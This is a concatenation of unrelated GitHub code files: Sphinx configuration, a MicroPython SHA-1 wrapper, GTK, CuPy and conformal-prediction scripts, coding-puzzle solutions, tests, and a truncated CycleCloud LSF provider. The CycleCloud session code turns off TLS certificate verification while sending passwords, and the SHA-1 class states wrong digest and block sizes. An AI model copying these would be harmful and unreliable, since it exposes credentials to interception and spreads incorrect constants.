for the Sphinx documentation builder.\n#\n# This file only contains a selection of the most common options. For a full\n# list see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\n# -- Path setup --------------------------------------------------------------\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n\nimport inspect\nimport os\nimport sys\n\nsys.path.insert(0, os.path.abspath(\".\"))\nsys.path.insert(0, os.path.abspath('../src'))\n \nimport sphinx\nimport numpy\n\n# -- Project information -----------------------------------------------------\n\nproject = \"DAGMA\"\ncopyright = \"2023, Kevin Bello\"\nauthor = \"Kevin Bello\"\n\n\n# -- General configuration ---------------------------------------------------\n# -- General configuration\n\nextensions = [\n \"sphinx.ext.duration\",\n \"sphinx.ext.doctest\",\n \"sphinx.ext.autodoc\",\n \"sphinx.ext.autosummary\",\n \"sphinx.ext.intersphinx\",\n \"sphinx.ext.napoleon\",\n \"sphinx_immaterial\",\n # \"sphinx_immaterial.apidoc.python.apigen\",\n # \"myst_parser\",\n \"sphinx_design\",\n 'autoapi.extension',\n]\n\nautoapi_dirs = ['../src/dagma/']\nautoapi_generate_api_docs = False\n# autoapi_root = 'api'\n# autoapi_options = [ 'members', 'undoc-members', 'private-members', 'show-inheritance', 'show-module-summary', 'special-members', ]\n# autoapi_keep_files = True\n# autoapi_python_class_content = \"both\"\n# autoapi_render_in_single_page = [\"class\", \"function\", \"method\"]\n# autoapi_template_dir = '_autoapi_templates'\n\n\nautosummary_generate = True\nmaster_doc = \"index\"\n\n\nintersphinx_mapping = {\n \"rtd\": (\"https://docs.readthedocs.io/en/stable/\", None),\n \"python\": (\"https://docs.python.org/3/\", None),\n \"sphinx\": (\"https://www.sphinx-doc.org/en/master/\", None),\n \"numpy\": (\"https://numpy.org/doc/stable/\", None),\n \"torch\": (\"https://pytorch.org/docs/stable/\", None),\n}\n\nintersphinx_disabled_domains = [\"std\"]\n\ntemplates_path = [\"_templates\"]\n\n# -- Options for EPUB output\nepub_show_urls = \"footnote\"\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = [\"_build\", \"Thumbs.db\", \".DS_Store\"]\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = \"sphinx_immaterial\"\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = [\"_static\"]\n\nhtml_css_files = [\n \"extra.css\",\n]\n\nhtml_title = \"DAGMA\"\n\nhtml_theme_options = {\n \"icon\": {\n \"repo\": \"fontawesome/brands/github\",\n },\n \"site_url\": \"https://dagma.readthedocs.io/\",\n \"repo_url\": \"https://github.com/kevinsbello/dagma\",\n \"repo_name\": \"kevinsbello/dagma\",\n # \"repo_type\": \"github\",\n \"social\": [\n {\n \"icon\": \"fontawesome/brands/github\",\n \"link\": \"https://github.com/kevinsbello/dagma\",\n },\n {\n \"icon\": \"fontawesome/brands/python\",\n \"link\": \"https://pypi.org/project/dagma/\",\n },\n ],\n \"edit_uri\": \"\",\n \"globaltoc_collapse\": False,\n \"features\": [\n # \"navigation.expand\",\n \"navigation.tabs\",\n # \"toc.integrate\",\n # \"navigation.sections\",\n # \"navigation.instant\",\n # \"header.autohide\",\n \"navigation.top\",\n \"navigation.tracking\",\n \"toc.follow\",\n \"toc.sticky\",\n \"content.tabs.link\",\n \"announce.dismiss\",\n ],\n \"palette\": [\n {\n \"media\": \"(prefers-color-scheme: light)\",\n \"scheme\": \"default\",\n \"toggle\": {\n \"icon\": \"material/weather-night\",\n \"name\": \"Switch to dark mode\",\n },\n },\n {\n \"media\": \"(prefers-color-scheme: dark)\",\n \"scheme\": \"slate\",\n \"toggle\": {\n \"icon\": \"material/weather-sunny\",\n \"name\": \"Switch to light mode\",\n },\n },\n ],\n \"version_dropdown\": False,\n}\n\nhtml_last_updated_fmt = \"\"\nhtml_use_index = True\nhtml_domain_indices = True\n\n\nautodoc_default_options = {\n \"imported-members\": True,\n \"members\": True,\n # \"special-members\": True,\n # \"inherited-members\": \"ndarray\",\n # \"member-order\": \"groupwise\",\n}\nautodoc_typehints = \"signature\"\nautodoc_typehints_description_target = \"documented\"\nautodoc_typehints_format = \"short\"\n\n# myst_enable_extensions = [\"dollarmath\"]\n\n\n# -- Sphinx Immaterial configs -------------------------------------------------\n\n# Python apigen configuration\n# python_apigen_modules = {\n# \"dagma\": \"api/\",\n# }\n\n# python_apigen_default_groups = [\n# (\"class:.*\", \"Classes\"),\n# (\"data:.*\", \"Variables\"),\n# (\"function:.*\", \"Functions\"),\n# (\"classmethod:.*\", \"Class methods\"),\n# (\"method:.*\", \"Methods\"),\n# (r\"method:.*\\.[A-Z][A-Za-z,_]*\", \"Constructors\"),\n# (r\"method:.*\\.__[A-Za-z,_]*__\", \"Special methods\"),\n# (r\"method:.*\\.__(init|new)__\", \"Constructors\"),\n# (r\"method:.*\\.__(str|repr)__\", \"String representation\"),\n# (\"property:.*\", \"Properties\"),\n# (r\".*:.*\\.is_[a-z,_]*\", \"Attributes\"),\n# ]\n\n# python_apigen_default_order = [\n# (\"class:.*\", 10),\n# (\"data:.*\", 11),\n# (\"function:.*\", 12),\n# (\"classmethod:.*\", 40),\n# (\"method:.*\", 50),\n# (r\"method:.*\\.[A-Z][A-Za-z,_]*\", 20),\n# (r\"method:.*\\.__[A-Za-z,_]*__\", 28),\n# (r\"method:.*\\.__(init|new)__\", 20),\n# (r\"method:.*\\.__(str|repr)__\", 30),\n# (\"property:.*\", 60),\n# (r\".*:.*\\.is_[a-z,_]*\", 70),\n# ]\n\n# python_apigen_order_tiebreaker = \"alphabetical\"\n# python_apigen_case_insensitive_filesystem = False\n# python_apigen_show_base_classes = True\n\n# # Python domain directive configuration\n# python_module_names_to_strip_from_xrefs = [\"collections.abc\"]\n\n# # General API configuration\n# object_description_options = [\n# (\"py:.*\", dict(include_rubrics_in_toc=True)),\n# ]\n\n# sphinx_immaterial_custom_admonitions = [\n# {\n# \"name\": \"seealso\",\n# \"title\": \"See also\",\n# \"classes\": [\"collapsible\"],\n# \"icon\": \"fontawesome/regular/eye\",\n# \"override\": True,\n# },\n# {\n# \"name\": \"star\",\n# \"icon\": \"octicons/star-16\",\n# \"color\": (255, 233, 3), # Gold\n# },\n# {\n# \"name\": \"fast-performance\",\n# \"title\": \"Faster performance\",\n# \"icon\": \"material/speedometer\",\n# \"color\": (40, 167, 69), # Green: --sd-color-success\n# },\n# {\n# \"name\": \"slow-performance\",\n# \"title\": \"Slower performance\",\n# \"icon\": \"material/speedometer-slow\",\n# \"color\": (220, 53, 69), # Red: --sd-color-danger\n# },\n# ]\n\n\n# -- Monkey-patching ---------------------------------------------------------\n\nSPECIAL_MEMBERS = [\n \"__repr__\",\n \"__str__\",\n \"__int__\",\n \"__call__\",\n \"__len__\",\n \"__eq__\",\n]\n\n\ndef autodoc_process_signature(app, what, name, obj, options, signature, return_annotation):\n signature = modify_type_hints(signature)\n return_annotation = modify_type_hints(return_annotation)\n return signature, return_annotation\n\n\ndef modify_type_hints(signature):\n \"\"\"\n Fix shortening numpy type annotations in string annotations created with\n `from __future__ import annotations` that Sphinx can't process before Python\n 3.10.\n\n See https://github.com/jbms/sphinx-immaterial/issues/161\n \"\"\"\n if signature:\n signature = signature.replace(\"np\", \"~numpy\")\n return signature\n\n\ndef monkey_patch_parse_see_also():\n \"\"\"\n Use the NumPy docstring parsing of See Also sections for convenience. This automatically\n hyperlinks plaintext functions and methods.\n \"\"\"\n # Add the special parsing method from NumpyDocstring\n method = sphinx.ext.napoleon.NumpyDocstring._parse_numpydoc_see_also_section\n sphinx.ext.napoleon.GoogleDocstring._parse_numpydoc_see_also_section = method\n\n def _parse_see_also_section(self, section: str):\n \"\"\"Copied from NumpyDocstring._parse_see_also_section().\"\"\"\n lines = self._consume_to_next_section()\n\n # Added: strip whitespace from lines to satisfy _parse_numpydoc_see_also_section()\n for i in range(len(lines)):\n lines[i] = lines[i].strip()\n\n try:\n return self._parse_numpydoc_see_also_section(lines)\n except ValueError:\n return self._format_admonition(\"seealso\", lines)\n\n sphinx.ext.napoleon.GoogleDocstring._parse_see_also_section = _parse_see_also_section\n \n \ndef autodoc_skip_member(app, what, name, obj, skip, options):\n \"\"\"\n Instruct autodoc to skip members that are inherited from np.ndarray.\n \"\"\"\n if skip:\n # Continue skipping things Sphinx already wants to skip\n return skip\n\n if name == \"__init__\":\n return False\n elif hasattr(obj, \"__objclass__\"):\n # This is a NumPy method, don't include docs\n return True\n\n if name in SPECIAL_MEMBERS:\n # Don't skip members in \"special-members\"\n return False\n\n if name[0] == \"_\":\n # For some reason we need to tell Sphinx to hide private members\n return True\n\n return skip\n\n\ndef autodoc_process_bases(app, name, obj, options, bases):\n \"\"\"\n Remove private classes or mixin classes from documented class bases.\n \"\"\"\n # Determine the bases to be removed\n remove_bases = []\n for base in bases:\n if base.__name__[0] == \"_\" or \"Mixin\" in base.__name__:\n remove_bases.append(base)\n\n # Remove from the bases list in-place\n for base in remove_bases:\n bases.remove(base)\n \n\ndef setup(app):\n monkey_patch_parse_see_also()\n app.connect(\"autodoc-skip-member\", autodoc_skip_member)\n app.connect(\"autodoc-process-bases\", autodoc_process_bases)\n app.connect(\"autodoc-process-signature\", autodoc_process_signature)","repo_name":"kevinsbello/dagma","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":10324,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"47"} +{"seq_id":"14991285008","text":"from gc import collect\n\n\ndef translate(d, t):\n return b''.join([ chr(t[x]).encode('ascii') for x in d ])\n\ndigest_size = None\n\nclass sha1:\n digest_size = digestsize = 32\n block_size = 20\n\n def __init__(self, s=None):\n from uhashlib import sha1 as usha1\n self._s = s\n self.name = 'sha1'\n self.usha1 = self._s and usha1(self._s) or None\n del usha1\n collect()\n\n def update(self, s):\n from uhashlib import sha1 as usha1\n self._s = self._s and '%s%s' % (self._s, s) or s\n if self.usha1:\n self.usha1.update(s)\n else:\n self.usha1 = usha1(self._s)\n del usha1\n collect()\n\n def digest(self):\n if self.usha1:\n return self.usha1.digest()\n\n def copy(self):\n return sha1(s=self._s)","repo_name":"gdassori/microotp","sub_path":"microotp/libs/sha1.py","file_name":"sha1.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"47"} +{"seq_id":"17092505943","text":"from gtk import CellRendererToggle\n\nclass Renderer(CellRendererToggle):\n\n\tdef __init__(self, manager, editor):\n\t\tCellRendererToggle.__init__(self)\n\t\tself.__init_attributes(manager, editor)\n\t\tself.__sigid1 = editor.connect(\"quit\", self.__quit_cb)\n\t\tself.__sigid2 = self.connect(\"toggled\", self.__toggled_cb)\n\t\teditor.register_object(self)\n\n\tdef __init_attributes(self, manager, editor):\n\t\tself.__manager = manager\n\t\tself.__editor = editor\n\t\tself.__view = manager.gui.get_widget(\"TreeView\")\n\t\treturn\n\n\tdef __destroy(self):\n\t\tself.__editor.disconnect_signal(self.__sigid1, self.__editor)\n\t\tself.__editor.disconnect_signal(self.__sigid2, self)\n\t\tself.__editor.unregister_object(self)\n\t\tdel self\n\t\tself = None\n\t\treturn False\n\n\tdef __toggle(self, path):\n\t\tself.__view.set_property(\"sensitive\", False)\n\t\tmodel = self.__view.get_model()\n\t\ttreemodelrow = model[path]\n\t\ttreemodelrow[0] = not treemodelrow[0]\n\t\tself.__manager.emit(\"toggled-path\", path)\n\t\treturn False\n\n\tdef __quit_cb(self, *args):\n\t\tself.__destroy()\n\t\treturn False\n\n\tdef __toggled_cb(self, renderer, path):\n\t\tfrom gobject import idle_add\n\t\tidle_add(self.__toggle, path)\n\t\treturn False\n","repo_name":"mystilleef/scribes","sub_path":"SCRIBES/EncodingSystem/SupportedEncodings/GUI/Treeview/ActiveEncodingRenderer.py","file_name":"ActiveEncodingRenderer.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"35857464369","text":"import cupy as cp\nimport numpy as np\n\nimport time \nimport random\n\ndef run_tests(test_cases, sizes):\n ### Cupy and GPU\n cupy_results = []\n \n for size in sizes:\n results = []\n\n for _ in range(test_cases):\n x = cp.ones(shape=(size, size))\n rand = random.randint(1, 1000)\n\n start = cp.cuda.Event()\n end = cp.cuda.Event()\n\n start.record()\n\n y = cp.multiply(x, rand)\n y.size\n\n end.record()\n end.synchronize()\n\n diff = cp.cuda.get_elapsed_time(start, end) \n\n results.append(diff)\n y = None\n cp.get_default_memory_pool().free_all_blocks()\n\n average = np.mean(results)\n cupy_results.append((size*size, average))\n \n return cupy_results\n\ndef cp_el_mult(test_cases, sizes):\n cupy_results = run_tests(test_cases, sizes)\n cupy_size, cupy_time = zip(*cupy_results)\n\n return (cupy_size, cupy_time)","repo_name":"larsdjursner/cspProject2","sub_path":"src/elementwise_mult/cp_el_mult.py","file_name":"cp_el_mult.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"16261914579","text":"\"\"\"\r\nUtility functions for rendering particles.\r\n\r\nExported functions: vecToEulor, eulerToVec\r\n\"\"\"\r\nfrom math import acos, asin, cos, sin\r\nfrom taichi.lang.matrix import Vector\r\n\r\n\r\ndef vecToEuler(v, eps: float = 1e-6):\r\n \"\"\"\r\n Convert a 3D vector to Euler angles.\r\n\r\n Parameters:\r\n v (Vector): The input 3D vector.\r\n eps (float, optional): A small value used for float comparison.\r\n Defaults to 1e-6.\r\n\r\n Returns:\r\n tuple: A tuple containing the yaw and pitch angles in radians.\r\n \"\"\"\r\n v = v.normalized()\r\n pitch = asin(v[1])\r\n\r\n sin_yaw = v[0] / cos(pitch)\r\n cos_yaw = v[2] / cos(pitch)\r\n\r\n if abs(sin_yaw) < eps:\r\n yaw = 0\r\n else:\r\n # fix math domain error due to float precision loss\r\n cos_yaw = max(min(cos_yaw, 1.0), -1.0)\r\n yaw = acos(cos_yaw)\r\n if sin_yaw < 0:\r\n yaw = -yaw\r\n\r\n return yaw, pitch\r\n\r\n\r\ndef eulerToVec(yaw, pitch):\r\n \"\"\"\r\n Convert Euler angles to a 3D vector.\r\n\r\n Parameters:\r\n yaw (float): The yaw angle in radians.\r\n pitch (float): The pitch angle in radians.\r\n\r\n Returns:\r\n Vector: The resulting 3D vector.\r\n \"\"\"\r\n v = Vector([0.0, 0.0, 0.0])\r\n v[0] = sin(yaw) * cos(pitch)\r\n v[1] = sin(pitch)\r\n v[2] = cos(yaw) * cos(pitch)\r\n return v\r\n","repo_name":"4imothy/slice_to_render","sub_path":"src/visualizers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19692864322","text":"import sys\n\nfrom Code.QualityMeasures import *\nfrom Code.Load import *\nfrom Code.CP import *\nfrom Code.Data import *\n\nfrom sklearn.metrics import r2_score\nfrom sklearn.ensemble import RandomForestRegressor\n\ndef RFCP(container):\n\n if container.verbosity() > 0:\n print(\"Performing Conformalized RF on\", container.dataset(), \"for seed\", container.seed())\n print()\n\n data = init(container.dataset(), container.seed())\n\n model = RandomForestRegressor(verbose = 0, n_estimators = container.trees())\n model.fit(data[\"X_train\"], data[\"y_train\"])\n\n verifier = PointConformalizer(container, model.predict)\n verifier.train(torch.from_numpy(data[\"X_val\"]).float(), data[\"y_val\"])\n verifier.apply(torch.from_numpy(data[\"X_test\"]).float(), data[\"y_test\"])\n\n if container.taxonomy_func():\n container.taxonomy_func().train(data[\"X_train\"], data[\"y_train\"])\n verifier.train_conditional(torch.from_numpy(data[\"X_val\"]).float(), data[\"y_val\"])\n verifier.apply_conditional(torch.from_numpy(data[\"X_test\"]).float(), data[\"y_test\"])\n\n return container\n\ndef run(data, seed, mode = True, conditional = None, conditional_params = None, **params):\n\n tax = taxonomyFactory(conditional, conditional_params)\n container = ForestDataObject(data, \"RF\", seed = seed, taxonomy_func = tax, **params)\n container = RFCP(container)\n container.export(FOLDER)\n","repo_name":"nmdwolf/ValidPredictionIntervals","sub_path":"Code/RunRFCP.py","file_name":"RunRFCP.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"47"} +{"seq_id":"14658876332","text":"\"\"\"\nProblem 2577.py\n\n\"\"\"\n\n## 100<=all_num<=1000\n\nnum1=int(input())\nnum2=int(input())\nnum3=int(input())\n\nmulti_num=num1*num2*num3\n\nnum_check=dict()\n\nfor i in range(10):\n num_check[i]=0\n\n\n## 한글짜씩 split\nnew_list=list(str(multi_num))\n\n## input\nfor sub_num in new_list:\n num_check[int(sub_num)]+=1\n\n\n## print\nfor value in num_check:\n print(num_check[value])","repo_name":"LuckyDL21/Algorithms","sub_path":"Baekjoon/2577.py","file_name":"2577.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22872323329","text":"#https://leetcode.com/problems/search-insert-position/description/\n#time O(logN), space O(1)\nclass Solution:\n def searchInsert(self, nums: List[int], target: int) -> int:\n n = len(nums)\n left = 0\n right = n-1\n while left+1<right:\n mid = left+(right-left)//2\n if nums[mid]==target:\n return mid\n elif nums[mid]<target:\n left = mid\n else:\n right = mid\n if nums[left]==target:\n return left\n if nums[right]==target:\n return right\n if nums[right]<target:\n return right+1\n if nums[left]<target:\n return right\n return left\n","repo_name":"SitongChe/LeetCode","sub_path":"BinarySearch/_35SearchInsertPosition.py","file_name":"_35SearchInsertPosition.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41620377946","text":"import argparse\nimport yaml\nfrom train_eval.trainer import Trainer\nfrom torch.utils.tensorboard import SummaryWriter\nimport os\n\n# Parse arguments\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-c\", \"--config\", help=\"Config file with dataset parameters\", required=True)\nparser.add_argument(\"-r\", \"--data_root\", help=\"Root directory with data\", required=True)\nparser.add_argument(\"-d\", \"--data_dir\", help=\"Directory to extract data\", required=True)\nparser.add_argument(\"-o\", \"--output_dir\", help=\"Directory to save checkpoints and logs\", required=True)\nparser.add_argument(\"-n\", \"--num_epochs\", help=\"Number of epochs to run training for\", required=True)\nparser.add_argument(\"-w\", \"--checkpoint\", help=\"Path to pre-trained or intermediate checkpoint\", required=False)\nargs = parser.parse_args()\n\n\n# Make directories\nif not os.path.isdir(args.output_dir):\n os.mkdir(args.output_dir)\nif not os.path.isdir(os.path.join(args.output_dir, 'checkpoints')):\n os.mkdir(os.path.join(args.output_dir, 'checkpoints'))\nif not os.path.isdir(os.path.join(args.output_dir, 'tensorboard_logs')):\n os.mkdir(os.path.join(args.output_dir, 'tensorboard_logs'))\n\n\n# Load config\nwith open(args.config, 'r') as yaml_file:\n cfg = yaml.safe_load(yaml_file)\n\n\n# Initialize tensorboard writer\nwriter = SummaryWriter(log_dir=os.path.join(args.output_dir, 'tensorboard_logs'))\n\n\n# Train\ntrainer = Trainer(cfg, args.data_root, args.data_dir, checkpoint_path=args.checkpoint, writer=writer)\ntrainer.train(num_epochs=int(args.num_epochs), output_dir=args.output_dir)\n\n\n# Close tensorboard writer\nwriter.close()\n","repo_name":"nachiket92/PGP","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":178,"dataset":"github-code","pt":"47"} +{"seq_id":"70012010703","text":"#!/usr/bin/env python\n#\n# test_utils.py\n# EnumeratorProject\n#\nimport unittest\n\nfrom peppercornenumerator.utils import wrap, tarjans\n\nclass MiscTests(unittest.TestCase):\n def test_wrap(self):\n assert wrap(0, 3) == 0\n assert wrap(2, 3) == 2\n assert wrap(3, 3) == 0\n assert wrap(4, 3) == 1\n assert wrap(-1, 3) == 2\n assert wrap(-2, 3) == 1\n\nclass mock:\n def __init__(self, n):\n self.name = n\n def __repr__(self):\n return f'{self.name}'\n\nclass TarjansTest(unittest.TestCase):\n def test_tarjans(self):\n # https://www.youtube.com/watch?v=wUgWX0nc4NY\n a = mock('a')\n b = mock('b')\n c = mock('c')\n d = mock('d')\n e = mock('e')\n f = mock('f')\n g = mock('g')\n h = mock('h')\n complexes = [a, b, c, d, e, f, g, h]\n products = {a: [b, e],\n b: [f],\n c: [b, g, d],\n d: [g],\n e: [a, f],\n f: [c, g],\n g: [h],\n h: [d]}\n\n sccs = tarjans(complexes, products)\n outp = [[d, h, g], [c, f, b], [e, a]]\n ss = sorted([sorted(s, key = repr) for s in sccs], key = repr)\n so = sorted([sorted(s, key = repr) for s in outp], key = repr)\n assert ss == so\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"DNA-and-Natural-Algorithms-Group/peppercornenumerator","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"47"} +{"seq_id":"23050363754","text":"from copy import deepcopy\nimport json\nimport logging\nimport pprint\nimport sys\n\n\ntry:\n from cyclecli import UserError\n from cyclecli import ConfigError\nexcept ImportError:\n class UserError(Exception):\n pass\n \n class ConfigError(Exception):\n pass\n\n\ndef get_session(config):\n try:\n retries = 3\n while retries > 0:\n try:\n import requests\n\n if not config[\"verify_certificates\"]:\n try:\n from requests.packages import urllib3\n if hasattr(urllib3, \"disable_warnings\"):\n urllib3.disable_warnings()\n except ImportError:\n pass\n \n s = requests.session()\n s.auth = (config[\"username\"], config[\"password\"])\n s.timeout = config[\"cycleserver\"][\"timeout\"]\n s.verify = config[\"verify_certificates\"] # Should we auto-accept unrecognized certs?\n s.headers = {\"X-Cycle-Client-Version\": \"%s-cli:%s\" % (\"cyclecloud-lsf\", \"3.0.1\")}\n \n return s\n except requests.exceptions.SSLError:\n retries = retries - 1\n if retries < 1:\n raise\n except ImportError:\n raise\n\n\nclass ProviderConfig:\n \n def __init__(self, config, jetpack_config=None):\n self.config = config\n if jetpack_config is None:\n try:\n import jetpack\n jetpack_config = jetpack.config \n except ImportError:\n jetpack_config = {}\n self.jetpack_config = jetpack_config\n \n def get(self, key, default_value=None):\n if not key:\n return self.config\n \n keys = key.split(\".\")\n top_value = self.config\n for n in range(len(keys)):\n if top_value is None:\n break\n \n if not hasattr(top_value, \"keys\"):\n logging.warn(\"Invalid format, as a child key was specified for %s when its type is %s \", key, type(top_value))\n return {}\n \n value = top_value.get(keys[n])\n \n if n == len(keys) - 1 and value is not None:\n return value\n \n top_value = value\n \n if top_value is None:\n try:\n return self.jetpack_config.get(key, default_value)\n except ConfigError as e:\n if key in unicode(e):\n return default_value\n raise\n \n return top_value\n \n def set(self, key, value):\n keys = key.split(\".\")\n \n top_value = self.config\n for top_key in keys[:-1]: \n tmp_value = top_value.get(top_key, {})\n top_value[top_key] = tmp_value\n top_value = tmp_value\n \n top_value[keys[-1]] = value\n \n \nclass Cluster:\n \n def __init__(self, cluster_name, provider_config):\n self.cluster_name = cluster_name\n self.provider_config = provider_config\n \n def status(self):\n return self.get(\"/clusters/%s/status\" % self.cluster_name)\n \n def _session(self):\n config = {\"verify_certificates\": False,\n \"username\": self._get_or_raise(\"cyclecloud.config.username\"),\n \"password\": self._get_or_raise(\"cyclecloud.config.password\"),\n \"cycleserver\": {\n \"timeout\": 60\n }\n }\n return get_session(config=config)\n \n def _get_or_raise(self, key):\n value = self.provider_config.get(key)\n if not value:\n # jetpack.config.get will raise a ConfigError above.\n raise ConfigError(\"Please define key %s in the provider config.\" % key)\n return value\n\n def get(self, url, **params):\n root_url = self._get_or_raise(\"cyclecloud.config.web_server\")\n logging.debug(\"GET %s with params %s\", root_url + url, params)\n session = self._session()\n response = session.get(root_url + url, params=params)\n if response.status_code < 200 or response.status_code > 299:\n raise ValueError(response.content)\n return json.loads(response.content)\n\n\nclass InvalidCycleCloudVersionError(RuntimeError):\n pass\n\n\ndef _escape_id(name):\n return name.lower().replace(\"_\", \"\")\n\n\ndef templates(cluster, stdout_writer, config):\n \"\"\"\n input (ignored):\n []\n \n output:\n {'templates': [{'attributes': {'cyclecloudhost': ['Boolean', 1],\n 'mem': ['Numeric', '2048'],\n 'ncores': ['Numeric', '4'],\n 'ncpus': ['Numeric', '4'],\n 'type': ['String', 'X86_64'],\n 'zone': ['String', 'southeastus']},\n 'instanceTags': 'group=project1',\n 'maxNumber': 10,\n 'pgrpName': None,\n 'priority': 0,\n 'templateId': 'execute0'},\n {'attributes': {'cyclecloudhost': ['Boolean', '1'],\n 'mem': ['Numeric', '4096'],\n 'ncores': ['Numeric', '8'],\n 'ncpus': ['Numeric', '8'],\n 'type': ['String', 'X86_64'],\n 'zone': ['String', 'southeastus']},\n 'instanceTags': 'group=project1',\n 'maxNumber': 10,\n 'pgrpName': None,\n 'priority': 0,\n 'templateId': 'execute1'}]}\n \"\"\"\n \n # returns Cloud.Node records joined on MachineType - the array node only\n response = cluster.status()\n\n nodearrays = response[\"nodearrays\"]\n \n if \"nodeArrays\" in nodearrays:\n logging.error(\"Invalid CycleCloud version. Please upgrade your CycleCloud instance.\")\n raise InvalidCycleCloudVersionError(\"Invalid CycleCloud version. Please upgrade your CycleCloud instance.\")\n \n currently_available_templates = set()\n \n # currently the REST api doesn't tell us which bucket is active, so we will manually figure that out by inspecting\n # the MachineType field on the nodearray\n active_machine_types_by_nodearray = {}\n for nodearray_root in nodearrays:\n nodearray = nodearray_root.get(\"nodearray\")\n machine_types = nodearray.get(\"MachineType\")\n if isinstance(machine_types, basestring):\n machine_types = [m.strip().lower() for m in machine_types.split(\",\")]\n \n active_machine_types_by_nodearray[nodearray_root[\"name\"]] = set(machine_types)\n \n default_priority = len(nodearrays) * 10\n \n for nodearray_root in nodearrays:\n nodearray = nodearray_root.get(\"nodearray\")\n \n # legacy, ignore any dynamically created arrays.\n if nodearray.get(\"Dynamic\"):\n continue\n \n # backward compatability\n has_worker_recipe = \"recipe[lsf::worker]\" in nodearray.get(\"Configuration\", {}).get(\"run_list\", [])\n is_autoscale = nodearray.get(\"Configuration\", {}).get(\"lsf\", {}).get(\"autoscale\", False)\n if not has_worker_recipe and not is_autoscale:\n continue\n \n output = {\"templates\": []}\n \n for bucket in nodearray_root.get(\"buckets\"):\n machine_type_name = bucket[\"definition\"][\"machineType\"]\n if machine_type_name.lower() not in active_machine_types_by_nodearray[nodearray_root[\"name\"]]:\n continue\n \n machine_type_short = machine_type_name.lower().replace(\"standard_\", \"\").replace(\"basic_\", \"\").replace(\"_\", \"\")\n machine_type = bucket[\"virtualMachine\"]\n \n # LSF hates special characters\n nodearray_name = nodearray_root[\"name\"]\n template_id = \"%s%s\" % (nodearray_name, machine_type_name)\n template_id = _escape_id(template_id)\n currently_available_templates.add(template_id)\n \n max_count = bucket.get(\"quotaCount\")\n available_count = bucket.get(\"maxCount\")\n\n memory = machine_type.get(\"memory\") * 1024\n is_low_prio = nodearray.get(\"Interruptible\", False)\n ngpus = 0\n try:\n # if the user picks a non-gpu machine ngpus will actually be defined as None.\n ngpus = int(nodearray.get(\"Configuration\", {}).get(\"lsf\", {}).get(\"ngpus\") or 0)\n except ValueError:\n logging.exception(\"Ignoring lsf.ngpus for nodearray %s\" % nodearray_name)\n \n record = {\n \"availableNumber\": available_count,\n \"maxNumber\": max_count,\n \"templateId\": template_id,\n \"nodeArray\": nodearray_name,\n \"vmType\": machine_type_name,\n \"priority\": nodearray.get(\"Priority\", default_priority),\n \"attributes\": {\n \"zone\": [\"String\", nodearray.get(\"Region\")],\n \"mem\": [\"Numeric\", memory],\n \"ncpus\": [\"Numeric\", machine_type.get(\"vcpuCount\")],\n \"ncores\": [\"Numeric\", machine_type.get(\"vcpuCount\")],\n \"cyclecloudhost\": [\"Boolean\", 1],\n \"type\": [\"String\", \"X86_64\"],\n \"machinetypefull\": [\"String\", machine_type_name],\n \"machinetype\": [\"String\", machine_type_short],\n \"nodearray\": [\"String\", nodearray_name],\n \"cyclecloudmpi\": [\"Boolean\", 0],\n \"cyclecloudlowprio\": [\"Boolean\", 1 if is_low_prio else 0]\n }\n }\n \n if ngpus:\n record[\"attributes\"][\"ngpus\"] = [\"Numeric\", ngpus]\n \n attributes = generate_userdata(record)\n \n custom_env = _parse_UserData(record.pop(\"UserData\", \"\") or \"\")\n record[\"UserData\"] = {\"lsf\": {}}\n \n if custom_env:\n record[\"UserData\"][\"lsf\"] = {\"custom_env\": custom_env,\n \"custom_env_names\": \" \".join(sorted(custom_env.iterkeys()))}\n \n record[\"UserData\"][\"lsf\"][\"attributes\"] = attributes\n record[\"UserData\"][\"lsf\"][\"attribute_names\"] = \" \".join(sorted(attributes.iterkeys()))\n \n output[\"templates\"].append(record)\n \n for n, placement_group in enumerate(_placement_groups(nodearray_name, config)):\n template_id = record[\"templateId\"] + placement_group\n # placement groups can't be the same across templates. Might as well make them the same as the templateid\n namespaced_placement_group = template_id\n if is_low_prio:\n break\n \n record_mpi = deepcopy(record)\n record_mpi[\"placementGroupName\"] = namespaced_placement_group\n record_mpi[\"attributes\"][\"placementgroup\"] = [\"String\", namespaced_placement_group]\n record_mpi[\"UserData\"][\"lsf\"][\"attributes\"][\"placementgroup\"] = namespaced_placement_group\n record_mpi[\"attributes\"][\"cyclecloudmpi\"] = [\"Boolean\", 